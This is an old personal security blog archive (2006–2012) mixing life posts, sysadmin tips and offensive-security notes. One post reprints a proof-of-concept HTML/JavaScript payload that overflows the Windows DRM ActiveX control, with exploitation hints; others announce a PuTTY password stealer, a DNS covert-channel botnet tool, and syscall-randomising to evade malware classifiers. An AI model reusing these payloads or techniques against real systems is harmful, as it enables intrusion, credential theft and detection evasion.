Insane Networks

Skype (too much packets)

2012-01-02T16:00:00.001-03:00

My experience with Skype as a sysadmin / security and a paranoid guy never was too good.

But I also never had too much patiente to reverse engineer it - but someone already did it, i believe with an older protocol, and its being sued :-), so decide to do some simple iptables rule to stop that annoying (and too much) traffic:

so, create a user called skype, then add in its .bashrc

export DISPLAY=":0.0"
alias skype='xhost +local: && su skype -c skype'

so now you have a skype user to run skype:

[root@natasha ~]# id skype
uid=505(skype) gid=505(skype)

and the command line for execute it:

alias skype='xhost +local: && sudo -u skype /usr/bin/skype'

this will stop all skype traffic, but we dont want this...

iptables -I OUTPUT -p all -m owner --uid-owner 505 -j DROP

so I let for you a bit more research for allow each nth packet or random packet or just a certain protocol with a rate limit for skype :-)

ATM Skimmer talk

2012-01-02T15:44:00.000-03:00

In my last speak I became interested in ATM Skimmer devices, a new one (i had never saw it before) reverse engineered by me, just for researching purposes. I gave a talk in Silver Bullet conference, and I expect my next paper will be far more agressive :-)

http://www.sbconference.com.br/en

and photos...

https://plus.google.com/u/0/photos/114690300278038603312/albums/5674652963784155649 and sorry, no whitepaper will be avaiable for download, for security reasons.

OpenBSD 4.9 + arduino Duemilanove without Java

2011-09-10T00:17:00.001-03:00

despite the java editor built-in with the Linux package, you can use vi and make to flash your arduino projects :-)

follow the instructions here: OpenBSD/CLI ... and instead of

..."Note that you can keep this directory in sync with the source by issuing the following command every so often in the ~/code/arduino/libs/hardware/cores/arduino/ directory:

~/code/arduino/libs/hardware/cores/arduino $ svn up"

due to an update that brokes Serial.begin(), you can get in compile troubles, revert to the 1076 revision by issuing a:

$ svn update -r 1076
At revision 1076.

mostly due to a change at revision 1077 - check here

Putty password stealer

2011-05-05T10:54:00.004-03:00

Sometimes you need to hop between machines/users depending on the environment; this is old code, part of a bigger project. As I dont post nothing lately.. here it goes. Compiles under fasm. I didnt put the hole files, but anyone can figure out how to compile it.

psw.asm

Gray Hat Python

2010-12-21T00:19:00.000-03:00

started reading this book. seems nice.

Malware Course [2]

2010-11-20T19:50:00.005-03:00

I began to teaching another class to dissect malware. Lots of assembly, debugger, file format, drivers, packers, cryptology, and recent open source tools.
I am sure the students are enjoying the course like me.

Dropbox Hooker

2009-11-12T08:44:00.005-03:00

Dropbox is an application to sync files between various computers and also share them with other users. you can view some of its features here: http://wiki.getdropbox.com/TipsAndTricks This program was created to handle files being pasted into dropbox folder, BEFORE they go to the wire, so your application can do any changes they want to on the fly, in the files being shared / sync'ed by the user. I create it for gpg integration with dropbox, but the use is wider - file analysis is one of them.

1) i assume you have dropbox installed (www.dropbox.com)

2) modify (or not, to see it working) secbox.asm, in the section "cfw_hook" to do what you want with the files. the argument in eax is the file path.

3) get debugview and install it: http://technet.microsoft.com/en-us/sysinternals/bb896647.aspx

4) compile the source with fasm (or use precompiled version)

5) copy secbox.dll into dropbox "bin" folder

6) patch dropbox.exe - if patch is successfull, will appear in Debugview

7) past files in "My Dropbox" and see them being reported by secbox

git download link

Malware Course

2009-10-07T19:32:00.002-03:00

I began to teaching in a course to dissect malware. Lots of assembly, debugger, file format, drivers.
I hope the students enjoy the course like me.

Servers, life, books

2009-01-20T14:09:00.005-03:00

Sometimes ppl's life changes completely. A new girlfriend, a new self-help book, a new main OS in your desktop, an old computer language returns to your routine, your father dies, more shell and vi shortcuts are learned, access is granted to some interesting commercial systems, security remains a hobby.

Changes sometimes are so sad..

Planning to travel around the world, country.. whatever

More botnet (FoFuS GUI)

2008-12-25T17:06:00.004-03:00

Do you like it ?

HA today

2008-12-10T01:44:00.004-03:00

Playing with redhat cluster suite and mysql-cluster on not-so-expensive hardware.. i realize todays options are a bit poor (bugs, complicated setup, time response)
From the hardware perspective, there are some good expensive solutions (big-$...) but there is really a need on the opensource market with good and simple solutions.

Planning to develop a fast-response, low-level programming x86 on this subject..

Crash, time, fun

2008-03-30T16:06:00.002-03:00

After a motorcycle crash, i got a nail on my knee. Waiting 3 weeks before put my foot on the ground, i am studying some job materials and coding, of course.
First i'm adding a cool ncurses interface to the fofus server and a scan engine to the client.
Probably the protocol will need changes, also.
After this, i'll probably add a tracker interface to see active bots in the cell phone (Motorola A1200e).
Cya.

If you're in Brazil (an ABN AMRO REAL customer) you cant do INET Banking in Linux+Firefox...

2008-02-17T19:29:00.002-03:00

Using Firefox in Linux, i can only VIEW my bank account... ABN AMRO REAL should get real life programmers...

New job.. new compiler..

2007-09-08T16:02:00.000-03:00

Long time since last post.. i entered a new job, a big company now - having some fun with oracle stuff. Planning to move an enhanced version of fofus to fasm (http://flatassembler.net/)

PoC tool - FoFuS (botnet related)

2007-06-03T12:33:00.003-03:00

You can download it here
It is a PoC tool, with a win32 client written for TASM 5.0, and a server written in perl. The main purpose is to show file transfer and related things only with DNS packets (bypassing most firewalls) - BTW a LOT of dns packets sometimes...

If you found it intersting, u can mail me at fosforo_at_gmail.com

Gentoo, botnets..

2007-04-23T16:04:00.000-03:00

Well, long time since i've made a post - my life was a hell. Since them i leave slackware, met gentoo, playing more with OpenBSD, reverse engineering is in second plan ... nowadays playing more with network administration.

But i've made a tool ( botnet-related) and if nobody invite me to do some talks, i'll release it here. It uses covert channels and was made using win32 assembly and Perl.

Cya

Malware entropy

2006-11-11T09:58:00.000-03:00

In responde to certain types of malware detection and classification technology, i would like to sugget a new tool that "fuzzes" this principle. For a better reference, you should read these articles:

Researchers eye machines to analyze malware - http://www.securityfocus.com/news/11395
Behavioral Classification - http://www.microsoft.com/downloads/details.aspx?FamilyId=7B5D8CC8-B336-4091-ABB5-2CC500A6C41A&displaylang=en
Windows Malicious Software Removal Tool: Progress Made, Trends Observed - http://go.microsoft.com/fwlink/?linkid=67998

The principle is simple - add random syscalls in the execution process, leading to more entropy each time application is called. Probably i'll be presenting a new tool soon.

Of course the algorithm pattern of this tool can be easily defeated - but imagine what happens when you avoid these type of automated analysis based on some LoadLibrary() and GetProcAddress() windows syscalls - individual analysis becomes necessary, and we got our longed for goal.

Beauty Devil Lady

2006-10-12T01:23:00.000-03:00

I miss you so much. That crazy night was fucking good, but I hope it'll never happen again... We can change...You can change...We don't need to die...I hope so...

Hello there, the angel from my nightmare
The shadow in the background of the morgue
The unsuspecting victim of darkness in the valley
We can live like Jack and Sally if we want
Where you can always find me
We'll have Halloween on Christmas
And in the night we'll wish this never ends
We'll wish this never ends
...

MS Windows DRM software Memory Corruption

2006-10-11T09:30:00.000-03:00

Joxean Koret published a proof of concept about ie + drm at full-disclosure. Seems to be exploitable, but would take some work. An attacker can control eax growing exponentially, and ecx inversely (with both hoping from 1000h to 1000h, till eax < 1000h). As ecx is copied to esp, to run some code we would need a region at stack to place our jump egg. The only referenceable space i've seen was the url name. Good luck.

#html>
#script>
function test()
{
var obj;
var x;

x = "AAAA";

for (i=0;i<=21;++i)
x += x;

obj = document.getElementById('testObj');
obj.StoreLicense(x);
}
#/script>
#body onload="test();">
#object id='testObj'
classid="CLSID:{760c4b83-e211-11d2-bf3e-00805fbe84a6}">
#/object>
#/body>
#/html>

2º COLARIS

2006-10-11T09:08:00.000-03:00

FIRST Technical Coloquium and II Latin American Incident Response Conference (COLARIS). It was a nice conference, with some good ppl and some management guys. Organized by FIRST (http://www.first.org/) and CAIS (http://www.rnp.br/cais/). Joanna (http://invisiblethings.org/) was there and i ask for a photo, also.

Microsoft Windows SP2 Heap and DEP bypass

2006-09-08T15:26:00.000-03:00

Russian guys from Positive Technologies http://www.maxpatrol.com/ have published a nice paper and made a tool do enhance microsoft protection.
It seems your shellcode needs to be smaller and preserve some page bytes to keep running.

SBSEG 2006 - Bazilian Simposium in Information Security and Computer Systems

2006-08-22T22:16:00.000-03:00

This is the official release (portuguese) for the upcoming event.
You can find more information at the official website:

http://www.unisantos.br/sbseg2006/?arquivo=cursosrnp.php

Sanatorium 1st Edition

2006-07-31T02:11:00.000-03:00

i had a lot of fun. It was raining at the farm where the rave occurs, but the love was stronger and ppl nice. I've met some of them and frriends took a lot of photos. I'm going to post some here.

Little room

2006-07-22T16:18:00.000-03:00

Coding, listenning some music and having some fun with vpn stuff as i am not engaged anymore. Weekends are going to be more geek-style. I am carrying an AR-15 in the laptop picture (center), and my firewall is crying out some scans from internet and invalid packets fron edonkey network.

People come into your life for a Reason, Season or a Lifetime

2006-07-15T23:19:00.000-03:00

(Demis Roussos)

Rain and tears, are the same
but in the sun
you've got to play the game

When you cry
in winter time
you can pretend
it's nothing but the rain

How many times I've seen
tears coming from your blue eyes

Rain and tears, are the same
but in the sun
you've got to play the game

Give me an answer of love
(o----ooohhh)
I need an answer of love
(o----ooohhh)
Rain and tears, in the sun
But in your heart
you feel the rainbow waves

Rain and tears
both I shun
for in my heart there 'll never be a sun

Rain and tears, are the same
but in the sun
you've got to play the game
Game ....

BlackBox

2006-06-28T21:59:00.000-03:00

In the sequence, my blackbox@slack running 5 eterm in 3 differents servers, a vmware running OpenBSD, Windows 2000 and XP, Gaim (msn, icq, yahoo, 5 channels on 3 irc servers), firefox with webmail plus 6 tabs opened, amule to grab musics and k3b ripping cds.

Theme wallpaper got from Freshmeat , shade and bbkeys helping a lot (thnks guerrilha).

Processors and you...

2006-06-26T23:36:00.000-03:00

AMD is going to reduce prices till 46%, according to this brazilian web site.

I used to found conspiracy everywhere, specially in a capitalist world. There's really a war price between these companies ? Is this really AMD trying to defeat Intel's new fix ?

Blue PIll

2006-06-26T23:08:00.000-03:00

According to her post, Joanna will be presenting at the end of July a rootkit technology based on virtualization. OK, it already exists, but seems this one is based on AMD's Pacifica virtualization suppport instruction set. Nice.

I would like to play also with five rings, but i've to eat. Waiting Joanna's work - and probably an Intel add-on ( or a Veeery future Godson virtualization support :-P )

Binho acts as a security consultant

2006-06-19T23:16:00.000-03:00

At this moment Binho is writing from Sao Paulo, acting as a security consultant helping me to analyze some routers, switchs and Linux/Windows servers.

Binho is also drinking Malibu at his room,,, a nice hotel with (probably) weak servers. 've to sleep.

Joana l33t

2006-06-17T00:36:00.000-03:00

I like the work of this girl. Her technicals skills are good, she likes stealth technologies, OS internals, x86 assembly and exploit development, in both windows and linux world !

Oh, she is also pretty nice...

Linux Install Fest

2006-06-16T02:34:00.000-03:00

Next 24 June, at Simonsen college - Rio de Janeiro, RJ - Brazil some geeks are going to promote a Linux Install Fest with courses, talks and workshops about Slackware, Gentoo, Debian, FreeBSD, cluster, honeypot, shell, Python, Perl... checkout the site. I see you there !

Windows Exploits And Patches

2006-06-15T17:30:00.000-03:00

Most hackers like to research by their own vulnerabilities in third party software. Nowadays a common pratice is to wait for microsoft release some patch, reverse engineer them, and make your own exploit like this article from CNET talks about.

What tools can you use to reverse engineer those patches and make your own exploits ? Particularly, i think you would like to use Vmware, Winalysis, Hex Workshop, and Ollydbg.

That's all. How ? Find a way... you've the tools, man !

And use Linux/BSD !!! Be a Windows guru just to research vulnerabilities there :-P

Autoruns - Playing Windows World

2006-06-15T17:18:00.000-03:00

I really like these russians (or not ?) guys from sysinternals. Tools like these helps a lot ( but never solves :P ) some windows users to be fooled against malware that runs auto-magically each machine reboot. Windows has hundreds of dozens places to put files to auto-initialize.

AutoRuns from SysInternals can be good for fast (but NEVER complete ones) assessments.

ATI Linux Driver 8.25.18

2006-06-15T17:09:00.000-03:00

I like this ati driver, since it supports well my radeon 9250 graphic card. Sadly, its proprietary.

ATI Proprietary Linux Driver Version 8.25.18 It has a nice installer, and i dont get in trouble after installing it - my IMPS/2 mouse isnt working well, but i am almost sure it is not ATI related.

Frog Binho

2006-06-15T16:50:00.000-03:00

At Valentine's day, my girl gave me a frog - she named him "Binho". Binho now helps me to decode things, analyze some network traffic, disasm things, and compile kernels. He helps me a lot.

My (ex) Girl

2006-06-15T16:42:00.000-03:00

This is my girl. She doesn't like security, computers, exploits, reverse engineer, BSD/Linux, or geek stuff, but she is a nice girl. Hope i can change her mind in the years...

She thinks i get more in touch with computers than humans. Maybe.

Updated 22-07-2006: ex-girlfriend

SYN's and you...

2006-06-15T16:15:00.000-03:00

Heh, Windows XP SP2 limit half-open connections, ok. Good for some normal users, bad for intensive users (P2P, VPN, etc...) and more than bad for "really bad users" - most who owns botnets.

lvllord.de Provides a nice patch to increase your half-open limits (and maybe your nmap scans, movies and music gathered by p2p, ability to DDoS some targets, let your mind drives the possibilities..)

Motorcycle

2006-06-15T16:08:00.000-03:00

Heh, i used to drive my father's car. But having your own vehicle is always a good idea. For desperate of my mother, i've bought a motorcycle. The cheaper one, but i found it nice... no name yet (maybe putting a girl name ?).

My OpenBSD box

2006-06-15T15:59:00.000-03:00

Planning to install OpenBSD on this old device, for security reasons... The .iso isn't burned yet, but the files are here. Hope i've succeess !